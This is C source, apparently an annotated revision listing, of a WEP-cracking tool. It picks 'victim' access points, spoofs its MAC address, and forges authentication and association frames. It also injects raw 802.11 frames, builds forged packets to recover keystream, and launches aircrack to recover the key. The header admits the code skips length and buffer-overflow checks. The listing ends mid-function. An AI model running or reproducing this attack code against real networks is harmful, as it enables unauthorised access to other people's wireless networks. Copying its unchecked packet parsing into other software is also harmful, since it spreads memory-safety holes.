1161030Ssam/* 2161030Ssam * wep owner by sorbo <sorbox@yahoo.com> 3161030Ssam * Aug 2005 4161030Ssam * 5161030Ssam * XXX GENERAL: I DON'T CHECK FOR PACKET LENGTHS AND STUFF LIKE THAT and buffer 6161030Ssam * overflows. this whole thing is experimental n e way. 7161030Ssam * 8161030Ssam * $FreeBSD$ 9161030Ssam */ 10161030Ssam 11161030Ssam#include <sys/types.h> 12161030Ssam#include <sys/socket.h> 13161030Ssam#include <sys/ioctl.h> 14161030Ssam#include <sys/endian.h> 15161030Ssam#include <sys/stat.h> 16161030Ssam#include <sys/wait.h> 17161030Ssam#include <sys/uio.h> 18161030Ssam#include <net/if.h> 19161030Ssam#include <net/if_media.h> 20161030Ssam#include <net/if_llc.h> 21161030Ssam#include <net/if_arp.h> 22161030Ssam#include <net/if_types.h> 23161030Ssam#include <net/if_dl.h> 24161030Ssam#include <net/bpf.h> 25161030Ssam#include <net/ethernet.h> 26161030Ssam#include <net80211/ieee80211.h> 27161030Ssam#include <net80211/ieee80211_ioctl.h> 28161030Ssam#include <net80211/ieee80211_radiotap.h> 29161030Ssam#include <net80211/ieee80211_freebsd.h> 30161030Ssam#include <netinet/in.h> 31161030Ssam#include <netinet/in_systm.h> 32161030Ssam#include <netinet/ip.h> 33161030Ssam#include <netinet/udp.h> 34161030Ssam#include <arpa/inet.h> 35161030Ssam#include <stdlib.h> 36161030Ssam#include <stdio.h> 37161030Ssam#include <unistd.h> 38161030Ssam#include <string.h> 39161030Ssam#include <fcntl.h> 40161030Ssam#include <errno.h> 41161030Ssam#include <assert.h> 42161030Ssam#include <zlib.h> 43161030Ssam#include <signal.h> 44161030Ssam#include <stdarg.h> 45161030Ssam#include <err.h> 46168502Ssam#include <pcap.h> 47161030Ssam 48168502Ssam#include "aircrack-ptw-lib.h" 49168502Ssam 50161030Ssam#define FIND_VICTIM 0 51161030Ssam#define FOUND_VICTIM 1 52161030Ssam#define SENDING_AUTH 2 53161030Ssam#define GOT_AUTH 3 54161030Ssam#define SPOOF_MAC 4 55161030Ssam#define SENDING_ASSOC 5 56161030Ssam#define GOT_ASSOC 6 57161030Ssam 58161030Ssamint state = 0; 59161030Ssam 60161030Ssamstruct timeval arpsend; 61161030Ssam 62161030Ssamstruct tx_state { 63161030Ssam int waiting_ack; 64161030Ssam struct timeval tsent; 65161030Ssam int retries; 66161030Ssam unsigned int psent; 67161030Ssam} txstate; 68161030Ssam 69161030Ssamstruct chan_info { 70161030Ssam int s; 71161030Ssam struct ieee80211req ireq; 72161030Ssam int chan; 73161030Ssam} chaninfo; 74161030Ssam 75161030Ssamstruct victim_info { 76161030Ssam char* ssid; 77161030Ssam int chan; 78161030Ssam char bss[6]; 79161030Ssam} victim; 80161030Ssam 81161030Ssamstruct frag_state { 82161030Ssam struct ieee80211_frame wh; 83161030Ssam unsigned char* data; 84161030Ssam int len; 85161030Ssam unsigned char* ptr; 86161030Ssam int waiting_relay; 87161030Ssam struct timeval last; 88161030Ssam} fragstate; 89161030Ssam 90161030Ssamstruct prga_info { 91161030Ssam unsigned char* prga; 92161030Ssam unsigned int len; 93161030Ssam unsigned char iv[3]; 94161030Ssam} prgainfo; 95161030Ssam 96161030Ssamstruct decrypt_state { 97161030Ssam unsigned char* cipher; 98161030Ssam int clen; 99161030Ssam struct prga_info prgainfo; 100161030Ssam struct frag_state fragstate; 101161030Ssam} decryptstate; 102161030Ssam 103161030Ssamstruct wep_log { 104161030Ssam unsigned int packets; 105161030Ssam unsigned int rate; 106161030Ssam int fd; 107161030Ssam unsigned char iv[3]; 108161030Ssam} weplog; 109161030Ssam 110168502Ssam#define LINKTYPE_IEEE802_11 105 111168502Ssam#define TCPDUMP_MAGIC 0xA1B2C3D4 112168502Ssam 113161030Ssamunsigned char* floodip = 0; 114161030Ssamunsigned short floodport = 6969; 115161030Ssamunsigned short floodsport = 53; 116161030Ssam 117161030Ssamunsigned char* netip = 0; 118168502Ssamint netip_arg = 0; 119168966Ssamint max_chan = 11; 120161030Ssam 121161030Ssamunsigned char* rtrmac = 0; 122161030Ssam 123161030Ssamunsigned char mymac[] = "\x00\x00\xde\xfa\xce\x0d"; 124161030Ssamunsigned char myip[16] = "192.168.0.123"; 125161030Ssam 126161030Ssamint bits = 0; 127161030Ssamint ttl_val = 0; 128161030Ssam 129168502SsamPTW_attackstate *ptw; 130168502Ssam 131161030Ssamunsigned char *victim_mac = 0; 132161030Ssam 133161030Ssamint ack_timeout = 100*1000; 134161030Ssam 135161030Ssam#define ARPLEN (8+ 8 + 20) 136161030Ssamunsigned char arp_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x06"; 137161030Ssamunsigned char ip_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x00"; 138168502Ssam#define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00" 139168502Ssam#define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06") 140168502Ssam#define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00") 141161030Ssam 142161030Ssam#define MCAST_PREF "\x01\x00\x5e\x00\x00" 143161030Ssam 144168502Ssam#define WEP_FILE "wep.cap" 145168502Ssam#define KEY_FILE "key.log" 146161030Ssam#define PRGA_FILE "prga.log" 147161030Ssam 148161030Ssamunsigned int min_prga = 128; 149161030Ssam 150161030Ssam/* 151161030Ssam * When starting aircrack we try first to use a 152161030Ssam * local copy, falling back to where the installed 153161030Ssam * version is expected. 154161030Ssam * XXX builtin pathnames 155161030Ssam */ 156161030Ssam#define CRACK_LOCAL_CMD "../aircrack/aircrack" 157161030Ssam#define CRACK_INSTALL_CMD "/usr/local/bin/aircrack" 158161030Ssam 159168966Ssam#define INCR 10000 160168502Ssamint thresh_incr = INCR; 161168502Ssam 162161030Ssam#define MAGIC_TTL_PAD 69 163161030Ssam 164161030Ssamint crack_dur = 60; 165168502Ssamint wep_thresh = INCR; 166161030Ssamint crack_pid = 0; 167161030Ssamstruct timeval crack_start; 168161030Ssamstruct timeval real_start; 169161030Ssam 170161030Ssam/* linksys does this. The hardware pads small packets. */ 171161030Ssam#define PADDED_ARPLEN 54 172161030Ssam 173161030Ssam#define PRGA_LEN (1500-14-20-8) 174161030Ssamunsigned char inet_clear[8+20+8+PRGA_LEN+4]; 175161030Ssam 176161030Ssam#define DICT_PATH "dict" 177161030Ssam#define TAP_DEV "/dev/tap3" 178161030Ssamunsigned char tapdev[16]; 179161030Ssamunsigned char taptx[4096]; 180161030Ssamunsigned int taptx_len = 0; 181161030Ssamint tapfd = -1; 182161030Ssam 183161030Ssam/********** RIPPED 184161030Ssam************/ 185161030Ssamunsigned short in_cksum (unsigned short *ptr, int nbytes) { 186161030Ssam register long sum; 187161030Ssam u_short oddbyte; 188161030Ssam register u_short answer; 189161030Ssam 190161030Ssam sum = 0; 191161030Ssam while (nbytes > 1) 192161030Ssam { 193161030Ssam sum += *ptr++; 194161030Ssam nbytes -= 2; 195161030Ssam } 196161030Ssam 197161030Ssam if (nbytes == 1) 198161030Ssam { 199161030Ssam oddbyte = 0; 200161030Ssam *((u_char *) & oddbyte) = *(u_char *) ptr; 201161030Ssam sum += oddbyte; 202161030Ssam } 203161030Ssam 204161030Ssam sum = (sum >> 16) + (sum & 0xffff); 205161030Ssam sum += (sum >> 16); 206161030Ssam answer = ~sum; 207161030Ssam return (answer); 208161030Ssam} 209161030Ssam/************** 210161030Ssam************/ 211161030Ssam 212161030Ssamunsigned int udp_checksum(unsigned char *stuff, int len, struct in_addr *sip, 213161030Ssam struct in_addr *dip) { 214161030Ssam unsigned char *tmp; 215161030Ssam struct ippseudo *ph; 216161030Ssam 217161030Ssam tmp = (unsigned char*) malloc(len + sizeof(struct ippseudo)); 218161030Ssam if(!tmp) 219161030Ssam err(1, "malloc()"); 220161030Ssam 221161030Ssam ph = (struct ippseudo*) tmp; 222161030Ssam 223161030Ssam memcpy(&ph->ippseudo_src, sip, 4); 224161030Ssam memcpy(&ph->ippseudo_dst, dip, 4); 225161030Ssam ph->ippseudo_pad = 0; 226161030Ssam ph->ippseudo_p = IPPROTO_UDP; 227161030Ssam ph->ippseudo_len = htons(len); 228161030Ssam 229161030Ssam memcpy(tmp + sizeof(struct ippseudo), stuff, len); 230161030Ssam 231161030Ssam return in_cksum((unsigned short*)tmp, len+sizeof(struct ippseudo)); 232161030Ssam} 233161030Ssam 234161030Ssamvoid time_print(char* fmt, ...) { 235161030Ssam va_list ap; 236161030Ssam char lame[1024]; 237161030Ssam time_t tt; 238161030Ssam struct tm *t; 239161030Ssam 240161030Ssam va_start(ap, fmt); 241161030Ssam vsnprintf(lame, sizeof(lame), fmt, ap); 242161030Ssam va_end(ap); 243161030Ssam 244161030Ssam tt = time(NULL); 245161030Ssam 246161030Ssam if (tt == (time_t)-1) { 247161030Ssam perror("time()"); 248161030Ssam exit(1); 249161030Ssam } 250161030Ssam 251161030Ssam t = localtime(&tt); 252161030Ssam if (!t) { 253161030Ssam perror("localtime()"); 254161030Ssam exit(1); 255161030Ssam } 256161030Ssam 257161030Ssam printf("[%.2d:%.2d:%.2d] %s", 258161030Ssam t->tm_hour, t->tm_min, t->tm_sec, lame); 259161030Ssam} 260161030Ssam 261161030Ssamvoid check_key() { 262161030Ssam char buf[1024]; 263161030Ssam int fd; 264161030Ssam int rd; 265161030Ssam struct timeval now; 266161030Ssam 267168502Ssam fd = open(KEY_FILE, O_RDONLY); 268161030Ssam 269161030Ssam if (fd == -1) { 270161030Ssam return; 271161030Ssam } 272161030Ssam 273161030Ssam rd = read(fd, buf, sizeof(buf) -1); 274161030Ssam if (rd == -1) { 275161030Ssam perror("read()"); 276161030Ssam exit(1); 277161030Ssam } 278161030Ssam 279161030Ssam buf[rd] = 0; 280161030Ssam 281161030Ssam close(fd); 282161030Ssam 283161030Ssam printf ("\n\n"); 284161030Ssam time_print("KEY=(%s)\n", buf); 285161030Ssam 286161030Ssam if (gettimeofday(&now, NULL) == -1) { 287161030Ssam perror("gettimeofday()"); 288161030Ssam exit(1); 289161030Ssam } 290161030Ssam 291161030Ssam printf ("Owned in %.02f minutes\n", 292161030Ssam ((double) now.tv_sec - real_start.tv_sec)/60.0); 293161030Ssam exit(0); 294161030Ssam} 295161030Ssam 296161030Ssamvoid kill_crack() { 297161030Ssam if (crack_pid == 0) 298161030Ssam return; 299161030Ssam 300161030Ssam printf("\n"); 301161030Ssam time_print("Stopping crack PID=%d\n", crack_pid); 302161030Ssam 303161030Ssam // XXX doesn't return -1 for some reason! [maybe on my box... so it 304161030Ssam // might be buggy on other boxes...] 305161030Ssam if (kill(crack_pid, SIGINT) == -1) { 306161030Ssam perror("kill()"); 307161030Ssam exit(1); 308161030Ssam } 309161030Ssam 310161030Ssam crack_pid = 0; 311161030Ssam 312161030Ssam check_key(); 313161030Ssam} 314161030Ssam 315161030Ssamvoid cleanup(int x) { 316161030Ssam time_print("\nDying...\n"); 317161030Ssam 318161030Ssam if (weplog.fd) 319161030Ssam close(weplog.fd); 320161030Ssam 321161030Ssam kill_crack(); 322161030Ssam 323161030Ssam exit(0); 324161030Ssam} 325161030Ssam 326161030Ssamvoid set_chan(int c) { 327161030Ssam if (c == chaninfo.chan) 328161030Ssam return; 329161030Ssam 330161030Ssam chaninfo.ireq.i_val = c; 331161030Ssam 332161030Ssam if (ioctl(chaninfo.s, SIOCS80211, &chaninfo.ireq) == -1) { 333161030Ssam perror("ioctl(SIOCS80211) [chan]"); 334161030Ssam exit(1); 335161030Ssam } 336161030Ssam chaninfo.chan = c; 337161030Ssam} 338161030Ssam 339168502Ssamvoid set_if_mac(unsigned char* mac, unsigned char *name) { 340168502Ssam int s; 341168502Ssam struct ifreq ifr; 342168502Ssam 343168502Ssam s = socket(PF_INET, SOCK_DGRAM, 0); 344168502Ssam if (s == -1) { 345168502Ssam perror("socket()"); 346168502Ssam exit(1); 347168502Ssam } 348168502Ssam 349168502Ssam memset(&ifr, 0, sizeof(ifr)); 350168502Ssam strcpy(ifr.ifr_name, name); 351168502Ssam 352168502Ssam ifr.ifr_addr.sa_family = AF_LINK; 353168502Ssam ifr.ifr_addr.sa_len = 6; 354168502Ssam memcpy(ifr.ifr_addr.sa_data, mac, 6); 355168502Ssam 356168502Ssam if (ioctl(s, SIOCSIFLLADDR, &ifr) == -1) { 357168502Ssam perror("ioctl(SIOCSIFLLADDR)"); 358168502Ssam exit(1); 359168502Ssam } 360168502Ssam 361168502Ssam close(s); 362168502Ssam} 363168502Ssam 364161030Ssamvoid setup_if(char *dev) { 365161030Ssam int s; 366161030Ssam struct ifreq ifr; 367161030Ssam unsigned int flags; 368161030Ssam struct ifmediareq ifmr; 369161030Ssam int *mwords; 370161030Ssam 371161030Ssam if(strlen(dev) >= IFNAMSIZ) { 372161030Ssam time_print("Interface name too long...\n"); 373161030Ssam exit(1); 374161030Ssam } 375161030Ssam 376161030Ssam time_print("Setting up %s... ", dev); 377161030Ssam fflush(stdout); 378168502Ssam 379168502Ssam set_if_mac(mymac, dev); 380161030Ssam 381161030Ssam s = socket(PF_INET, SOCK_DGRAM, 0); 382161030Ssam if (s == -1) { 383161030Ssam perror("socket()"); 384161030Ssam exit(1); 385161030Ssam } 386161030Ssam 387195848Ssam // set chan 388195848Ssam memset(&chaninfo.ireq, 0, sizeof(chaninfo.ireq)); 389195848Ssam strcpy(chaninfo.ireq.i_name, dev); 390195848Ssam chaninfo.ireq.i_type = IEEE80211_IOC_CHANNEL; 391195848Ssam 392195848Ssam chaninfo.chan = 0; 393195848Ssam chaninfo.s = s; 394195848Ssam set_chan(1); 395195848Ssam 396161030Ssam // set iface up and promisc 397161030Ssam memset(&ifr, 0, sizeof(ifr)); 398161030Ssam strcpy(ifr.ifr_name, dev); 399161030Ssam if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) { 400161030Ssam perror("ioctl(SIOCGIFFLAGS)"); 401161030Ssam exit(1); 402161030Ssam } 403161030Ssam 404161030Ssam flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16); 405161030Ssam flags |= IFF_UP | IFF_PPROMISC; 406161030Ssam 407161030Ssam memset(&ifr, 0, sizeof(ifr)); 408161030Ssam strcpy(ifr.ifr_name, dev); 409161030Ssam ifr.ifr_flags = flags & 0xffff; 410161030Ssam ifr.ifr_flagshigh = flags >> 16; 411161030Ssam if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) { 412161030Ssam perror("ioctl(SIOCSIFFLAGS)"); 413161030Ssam exit(1); 414161030Ssam } 415161030Ssam 416161030Ssam printf("done\n"); 417161030Ssam} 418161030Ssam 419161030Ssamint open_bpf(char *dev, int dlt) { 420161030Ssam int i; 421161030Ssam char buf[64]; 422161030Ssam int fd = -1; 423161030Ssam struct ifreq ifr; 424161030Ssam 425161030Ssam for(i = 0;i < 16; i++) { 426161030Ssam sprintf(buf, "/dev/bpf%d", i); 427161030Ssam 428161030Ssam fd = open(buf, O_RDWR); 429161030Ssam if(fd < 0) { 430161030Ssam if(errno != EBUSY) { 431161030Ssam perror("can't open /dev/bpf"); 432161030Ssam exit(1); 433161030Ssam } 434161030Ssam continue; 435161030Ssam } 436161030Ssam else 437161030Ssam break; 438161030Ssam } 439161030Ssam 440161030Ssam if(fd < 0) { 441161030Ssam perror("can't open /dev/bpf"); 442161030Ssam exit(1); 443161030Ssam } 444161030Ssam 445161030Ssam strncpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name)-1); 446161030Ssam ifr.ifr_name[sizeof(ifr.ifr_name)-1] = 0; 447161030Ssam 448161030Ssam if(ioctl(fd, BIOCSETIF, &ifr) < 0) { 449161030Ssam perror("ioctl(BIOCSETIF)"); 450161030Ssam exit(1); 451161030Ssam } 452161030Ssam 453161030Ssam if (ioctl(fd, BIOCSDLT, &dlt) < 0) { 454161030Ssam perror("ioctl(BIOCSDLT)"); 455161030Ssam exit(1); 456161030Ssam } 457161030Ssam 458161030Ssam i = 1; 459161030Ssam if(ioctl(fd, BIOCIMMEDIATE, &i) < 0) { 460161030Ssam perror("ioctl(BIOCIMMEDIATE)"); 461161030Ssam exit(1); 462161030Ssam } 463161030Ssam 464161030Ssam return fd; 465161030Ssam} 466161030Ssam 467161030Ssamvoid hexdump(unsigned char *ptr, int len) { 468161030Ssam while(len > 0) { 469161030Ssam printf("%.2X ", *ptr); 470161030Ssam ptr++; len--; 471161030Ssam } 472161030Ssam printf("\n"); 473161030Ssam} 474161030Ssam 475161030Ssamchar* mac2str(unsigned char* mac) { 476161030Ssam static char ret[6*3]; 477161030Ssam 478161030Ssam sprintf(ret, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X", 479161030Ssam mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); 480161030Ssam 481161030Ssam return ret; 482161030Ssam} 483161030Ssam 484161030Ssamvoid inject(int fd, void *buf, int len) 485161030Ssam{ 486161030Ssam static struct ieee80211_bpf_params params = { 487161030Ssam .ibp_vers = IEEE80211_BPF_VERSION, 488161030Ssam /* NB: no need to pass series 2-4 rate+try */ 489161030Ssam .ibp_len = sizeof(struct ieee80211_bpf_params) - 6, 490161030Ssam .ibp_rate0 = 2, /* 1 MB/s XXX */ 491161030Ssam .ibp_try0 = 1, /* no retransmits */ 492161030Ssam .ibp_flags = IEEE80211_BPF_NOACK, 493161030Ssam .ibp_power = 100, /* nominal max */ 494161030Ssam .ibp_pri = WME_AC_VO, /* high priority */ 495161030Ssam }; 496161030Ssam struct iovec iov[2]; 497161030Ssam int rc; 498161030Ssam 499161030Ssam iov[0].iov_base = ¶ms; 500161030Ssam iov[0].iov_len = params.ibp_len; 501161030Ssam iov[1].iov_base = buf; 502161030Ssam iov[1].iov_len = len; 503161030Ssam rc = writev(fd, iov, 2); 504161030Ssam if(rc == -1) { 505161030Ssam perror("writev()"); 506161030Ssam exit(1); 507161030Ssam } 508161030Ssam if (rc != (len + iov[0].iov_len)) { 509161030Ssam time_print("Error Wrote %d out of %d\n", rc, 510161030Ssam len+iov[0].iov_len); 511161030Ssam exit(1); 512161030Ssam } 513161030Ssam} 514161030Ssam 515161030Ssamvoid send_frame(int tx, unsigned char* buf, int len) { 516161030Ssam static unsigned char* lame = 0; 517161030Ssam static int lamelen = 0; 518161030Ssam static int lastlen = 0; 519161030Ssam 520161030Ssam // retransmit! 521161030Ssam if (len == -1) { 522161030Ssam txstate.retries++; 523161030Ssam 524161030Ssam if (txstate.retries > 10) { 525161030Ssam time_print("ERROR Max retransmists for (%d bytes):\n", 526161030Ssam lastlen); 527161030Ssam hexdump(&lame[0], lastlen); 528168502Ssam// exit(1); 529161030Ssam } 530161030Ssam len = lastlen; 531161030Ssam// printf("Warning doing a retransmit...\n"); 532161030Ssam } 533161030Ssam // normal tx 534161030Ssam else { 535161030Ssam assert(!txstate.waiting_ack); 536161030Ssam 537161030Ssam if (len > lamelen) { 538161030Ssam if (lame) 539161030Ssam free(lame); 540161030Ssam 541161030Ssam lame = (unsigned char*) malloc(len); 542161030Ssam if(!lame) { 543161030Ssam perror("malloc()"); 544161030Ssam exit(1); 545161030Ssam } 546161030Ssam 547161030Ssam lamelen = len; 548161030Ssam } 549161030Ssam 550161030Ssam memcpy(lame, buf, len); 551161030Ssam txstate.retries = 0; 552161030Ssam lastlen = len; 553161030Ssam } 554161030Ssam 555161030Ssam inject(tx, lame, len); 556161030Ssam 557161030Ssam txstate.waiting_ack = 1; 558161030Ssam txstate.psent++; 559161030Ssam if (gettimeofday(&txstate.tsent, NULL) == -1) { 560161030Ssam perror("gettimeofday()"); 561161030Ssam exit(1); 562161030Ssam } 563161030Ssam 564161030Ssam#if 0 565161030Ssam printf("Wrote frame at %lu.%lu\n", 566161030Ssam txstate.tsent.tv_sec, txstate.tsent.tv_usec); 567161030Ssam#endif 568161030Ssam} 569161030Ssam 570161030Ssamunsigned short fnseq(unsigned short fn, unsigned short seq) { 571161030Ssam unsigned short r = 0; 572161030Ssam 573161030Ssam if(fn > 15) { 574161030Ssam time_print("too many fragments (%d)\n", fn); 575161030Ssam exit(1); 576161030Ssam } 577161030Ssam 578161030Ssam r = fn; 579161030Ssam 580161030Ssam r |= ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT); 581161030Ssam 582161030Ssam return r; 583161030Ssam} 584161030Ssam 585161030Ssamvoid fill_basic(struct ieee80211_frame* wh) { 586161030Ssam unsigned short* sp; 587161030Ssam 588161030Ssam memcpy(wh->i_addr1, victim.bss, 6); 589161030Ssam memcpy(wh->i_addr2, mymac, 6); 590161030Ssam memcpy(wh->i_addr3, victim.bss, 6); 591161030Ssam 592161030Ssam 593161030Ssam 594161030Ssam sp = (unsigned short*) wh->i_seq; 595161030Ssam *sp = fnseq(0, txstate.psent); 596161030Ssam 597161030Ssam sp = (unsigned short*) wh->i_dur; 598161030Ssam *sp = htole16(32767); 599161030Ssam} 600161030Ssam 601161030Ssamvoid send_assoc(int tx) { 602161030Ssam unsigned char buf[128]; 603161030Ssam struct ieee80211_frame* wh = (struct ieee80211_frame*) buf; 604161030Ssam unsigned char* body; 605161030Ssam int ssidlen; 606161030Ssam 607161030Ssam memset(buf, 0, sizeof(buf)); 608161030Ssam fill_basic(wh); 609161030Ssam wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ; 610161030Ssam 611161030Ssam body = (unsigned char*) wh + sizeof(*wh); 612161030Ssam *body = 1 | IEEE80211_CAPINFO_PRIVACY; // cap 613161030Ssam // cap + interval 614161030Ssam body += 2 + 2; 615161030Ssam 616161030Ssam // ssid 617161030Ssam *body++ = 0; 618161030Ssam ssidlen = strlen(victim.ssid); 619161030Ssam *body++ = ssidlen; 620161030Ssam memcpy(body, victim.ssid, ssidlen); 621161030Ssam body += ssidlen; 622161030Ssam 623161030Ssam // rates 624161030Ssam *body++ = 1; 625161030Ssam *body++ = 4; 626161030Ssam *body++ = 2; 627161030Ssam *body++ = 4; 628161030Ssam *body++ = 11; 629161030Ssam *body++ = 22; 630161030Ssam 631161030Ssam send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2 + 632161030Ssam strlen(victim.ssid) + 2 + 4); 633161030Ssam} 634161030Ssam 635161030Ssamvoid wepify(unsigned char* body, int dlen) { 636161030Ssam uLong crc; 637161030Ssam unsigned long *pcrc; 638161030Ssam int i; 639161030Ssam 640161030Ssam assert(dlen + 4 <= prgainfo.len); 641161030Ssam 642161030Ssam // iv 643161030Ssam memcpy(body, prgainfo.iv, 3); 644161030Ssam body +=3; 645161030Ssam *body++ = 0; 646161030Ssam 647161030Ssam // crc 648161030Ssam crc = crc32(0L, Z_NULL, 0); 649161030Ssam crc = crc32(crc, body, dlen); 650161030Ssam pcrc = (unsigned long*) (body+dlen); 651161030Ssam *pcrc = crc; 652161030Ssam 653161030Ssam for (i = 0; i < dlen +4; i++) 654161030Ssam *body++ ^= prgainfo.prga[i]; 655161030Ssam} 656161030Ssam 657161030Ssamvoid send_auth(int tx) { 658161030Ssam unsigned char buf[128]; 659161030Ssam struct ieee80211_frame* wh = (struct ieee80211_frame*) buf; 660161030Ssam unsigned short* n; 661161030Ssam 662161030Ssam memset(buf, 0, sizeof(buf)); 663161030Ssam fill_basic(wh); 664161030Ssam wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH; 665161030Ssam 666161030Ssam n = (unsigned short*) ((unsigned char*) wh + sizeof(*wh)); 667161030Ssam n++; 668161030Ssam *n = 1; 669161030Ssam 670161030Ssam send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2); 671161030Ssam} 672161030Ssam 673161030Ssamint get_victim_ssid(struct ieee80211_frame* wh, int len) { 674161030Ssam unsigned char* ptr; 675161030Ssam int x; 676161030Ssam int gots = 0, gotc = 0; 677161030Ssam 678161030Ssam if (len <= sizeof(*wh)) { 679161030Ssam time_print("Warning: short packet in get_victim_ssid()\n"); 680161030Ssam return 0; 681161030Ssam } 682161030Ssam 683161030Ssam ptr = (unsigned char*)wh + sizeof(*wh); 684161030Ssam len -= sizeof(*wh); 685161030Ssam 686161030Ssam // only wep baby 687161030Ssam if ( !(IEEE80211_BEACON_CAPABILITY(ptr) & IEEE80211_CAPINFO_PRIVACY)) { 688161030Ssam return 0; 689161030Ssam } 690161030Ssam 691161030Ssam // we want a specific victim 692161030Ssam if (victim_mac) { 693161030Ssam if (memcmp(wh->i_addr3, victim_mac, 6) != 0) 694161030Ssam return 0; 695161030Ssam } 696161030Ssam 697161030Ssam // beacon header 698161030Ssam x = 8 + 2 + 2; 699161030Ssam if (len <= x) { 700161030Ssam time_print("Warning short.asdfasdf\n"); 701161030Ssam return 0; 702161030Ssam } 703161030Ssam 704161030Ssam ptr += x; 705161030Ssam len -= x; 706161030Ssam 707161030Ssam // SSID 708161030Ssam while(len > 2) { 709161030Ssam int eid, elen; 710161030Ssam 711161030Ssam eid = *ptr; 712161030Ssam ptr++; 713161030Ssam elen = *ptr; 714161030Ssam ptr++; 715161030Ssam len -= 2; 716161030Ssam 717161030Ssam if (len < elen) { 718161030Ssam time_print("Warning short....\n"); 719161030Ssam return 0; 720161030Ssam } 721161030Ssam 722161030Ssam // ssid 723161030Ssam if (eid == 0) { 724161030Ssam if (victim.ssid) 725161030Ssam free(victim.ssid); 726161030Ssam 727161030Ssam victim.ssid = (char*) malloc(elen + 1); 728161030Ssam if (!victim.ssid) { 729161030Ssam perror("malloc()"); 730161030Ssam exit(1); 731161030Ssam } 732161030Ssam 733161030Ssam memcpy(victim.ssid, ptr, elen); 734161030Ssam victim.ssid[elen] = 0; 735161030Ssam gots = 1; 736161030Ssam 737161030Ssam } 738161030Ssam // chan 739161030Ssam else if(eid == 3) { 740161030Ssam if( elen != 1) { 741161030Ssam time_print("Warning len of chan not 1\n"); 742161030Ssam return 0; 743161030Ssam } 744161030Ssam 745161030Ssam victim.chan = *ptr; 746161030Ssam gotc = 1; 747161030Ssam } 748161030Ssam 749161030Ssam ptr += elen; 750161030Ssam len -= elen; 751161030Ssam } 752161030Ssam 753161030Ssam if (gots && gotc) { 754161030Ssam memcpy(victim.bss, wh->i_addr3, 6); 755161030Ssam set_chan(victim.chan); 756161030Ssam state = FOUND_VICTIM; 757161030Ssam time_print("Found SSID(%s) BSS=(%s) chan=%d\n", 758161030Ssam victim.ssid, mac2str(victim.bss), victim.chan); 759161030Ssam return 1; 760161030Ssam } 761161030Ssam return 0; 762161030Ssam} 763161030Ssam 764161030Ssamvoid send_ack(int tx) { 765168502Ssam /* firmware acks */ 766161030Ssam} 767161030Ssam 768161030Ssamvoid do_llc(unsigned char* buf, unsigned short type) { 769161030Ssam struct llc* h = (struct llc*) buf; 770161030Ssam 771161030Ssam memset(h, 0, sizeof(*h)); 772161030Ssam h->llc_dsap = LLC_SNAP_LSAP; 773161030Ssam h->llc_ssap = LLC_SNAP_LSAP; 774161030Ssam h->llc_un.type_snap.control = 3; 775161030Ssam h->llc_un.type_snap.ether_type = htons(type); 776161030Ssam} 777161030Ssam 778161030Ssamvoid calculate_inet_clear() { 779161030Ssam struct ip* ih; 780161030Ssam struct udphdr* uh; 781161030Ssam uLong crc; 782161030Ssam unsigned long *pcrc; 783161030Ssam int dlen; 784161030Ssam 785161030Ssam memset(inet_clear, 0, sizeof(inet_clear)); 786161030Ssam 787161030Ssam do_llc(inet_clear, ETHERTYPE_IP); 788161030Ssam 789161030Ssam ih = (struct ip*) &inet_clear[8]; 790161030Ssam ih->ip_hl = 5; 791161030Ssam ih->ip_v = 4; 792161030Ssam ih->ip_tos = 0; 793161030Ssam ih->ip_len = htons(20+8+PRGA_LEN); 794161030Ssam ih->ip_id = htons(666); 795161030Ssam ih->ip_off = 0; 796161030Ssam ih->ip_ttl = ttl_val; 797161030Ssam ih->ip_p = IPPROTO_UDP; 798161030Ssam ih->ip_sum = 0; 799161030Ssam inet_aton(floodip, &ih->ip_src); 800161030Ssam inet_aton(myip, &ih->ip_dst); 801161030Ssam ih->ip_sum = in_cksum((unsigned short*)ih, 20); 802161030Ssam 803161030Ssam uh = (struct udphdr*) ((char*)ih + 20); 804161030Ssam uh->uh_sport = htons(floodport); 805161030Ssam uh->uh_dport = htons(floodsport); 806161030Ssam uh->uh_ulen = htons(8+PRGA_LEN); 807161030Ssam uh->uh_sum = 0; 808161030Ssam uh->uh_sum = udp_checksum((unsigned char*)uh, 8+PRGA_LEN, 809161030Ssam &ih->ip_src, &ih->ip_dst); 810161030Ssam 811161030Ssam // crc 812161030Ssam dlen = 8 + 20 + 8 + PRGA_LEN; 813161030Ssam assert (dlen + 4 <= sizeof(inet_clear)); 814161030Ssam 815161030Ssam crc = crc32(0L, Z_NULL, 0); 816161030Ssam crc = crc32(crc, inet_clear, dlen); 817161030Ssam pcrc = (unsigned long*) (inet_clear+dlen); 818161030Ssam *pcrc = crc; 819161030Ssam 820161030Ssam#if 0 821161030Ssam printf("INET %d\n", sizeof(inet_clear)); 822161030Ssam hexdump(inet_clear, sizeof(inet_clear)); 823161030Ssam#endif 824161030Ssam} 825161030Ssam 826161030Ssamvoid set_prga(unsigned char* iv, unsigned char* cipher, 827161030Ssam unsigned char* clear, int len) { 828161030Ssam 829161030Ssam int i; 830161030Ssam int fd; 831161030Ssam 832161030Ssam if (prgainfo.len != 0) 833161030Ssam free(prgainfo.prga); 834161030Ssam 835161030Ssam prgainfo.prga = (unsigned char*) malloc(len); 836161030Ssam if (!prgainfo.prga) { 837161030Ssam perror("malloc()"); 838161030Ssam exit(1); 839161030Ssam } 840161030Ssam 841161030Ssam prgainfo.len = len; 842161030Ssam memcpy(prgainfo.iv, iv, 3); 843161030Ssam 844161030Ssam for (i = 0; i < len; i++) { 845161030Ssam prgainfo.prga[i] = ( cipher ? (clear[i] ^ 